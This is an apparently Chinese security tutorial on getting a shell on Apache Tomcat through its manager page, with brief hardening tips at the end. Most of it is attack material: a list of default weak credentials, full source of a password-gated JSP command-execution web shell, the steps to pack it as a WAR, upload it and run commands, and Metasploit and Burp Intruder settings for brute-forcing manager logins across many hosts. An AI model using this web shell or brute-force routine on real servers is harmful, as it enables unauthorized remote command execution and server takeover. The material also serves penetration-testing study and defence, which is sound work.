Tomcat管理页面弱口令页面Getshell
传送门
Tomcat安装完成后,点击页面的 Manager App 处会弹出输入用户名和密码的认证框。
我们也可以直接访问:http://127.0.0.1:8080/manager/html 来访问该管理页面。
但是默认情况下,该页面只允许 tomcat 本机访问,其他主机访问时会显示403。
这时,只需要修改 webapps\manager\META-INF\context.xml 文件,注释下如下行即可。
此时,需要我们输入用户名和密码进行登录。我们可以尝试一下该页面常见的几个弱口令:
用户名:admin tomcat manager
密码:admin 123456 tomcat s3cret manager admin123
该页面的认证账户和密码存在于 Tomcat\conf\tomcat-users.xml ,如下:
如果我们成功登录,我们将进入管理网站的页面。在该页面的上传文件处,存在上传 .waf 文件的上传按钮。我们可以上传后缀为 .war 的木马文件。
jar -cvf one.war jsppwdcmd.jsp #one.war为生成后的文件,jsppwdcmd为木马文件
*****************jsppwdcmd.jsp木马内容********************************
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
然后我们可以将 one.war 上传到该页面,如下上传成功。
我们点击该 one,进入了该one的目录下。
于是,我们访问以下链接:http://127.0.0.1:8080/one/jsppwdcmd.jsp?pwd=123&cmd=ipconfig
可以看到,成功获取权限。
我们就可以执行cmd命令,对服务器进行操作了。
传送门—->
提权辅助
利用MSF对tomcat账号密码进行爆破
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts 192.168.10.1
set rport 8080
exploit
找字典进行爆破:
set USER_FILE /opt/字典/Tomcat_user.txt
set PASS_FILE /opt/字典/Tomcat_pass.txt
如果要批量对网站进行爆破的话,可以知道rhosts文件,但是由于他这个有rport,所以我们需要先整理好,将端口是一样的主机放入一个文件中。
set file:/root/ip.txt
set rport 8001
run
利用Burpsuite对tomcat账号密码进行爆破
payloads这里type我们选择Custom iterator,第1个位置就填我们的用户名字典,第2个位置就填 : ,第3个位置就填密码字典
然后在 Payload Processing这里我们选择 Base64-encode编码。
payload encoding这里我们取消勾选URL编码
点击Intruder开始爆破,对返回长度进行排序,可以看到爆破成功!
对该payload进行base64解密即可得到正确用户名密码。
Tomcat漏洞预防:
1、删除webapps目录中的docs、examples、host-manager、manager等正式环境用不着的目录,这一步就可以解决大部分漏洞。有的网站没删除manager页面,并且管理员弱口令,导致直接Getshell。
2、解决“slow http denial of service attack”漏洞,缓慢的拒绝服务攻击漏洞。slow http denial of service attack漏洞是利用http post的时候,指定一个非常大的content-length,然后以很低的速度发包,比如10-100s发一个字节,让这种连接不断开,这样当客户端连接多了后,占用了webserver的所有可用连接,从而导制DOS,属于一种打拒绝服务攻击。
解决方法:
打开server.xml找到connection
将其中的connectionTimeout=”20000″改为1000,其单位为ms。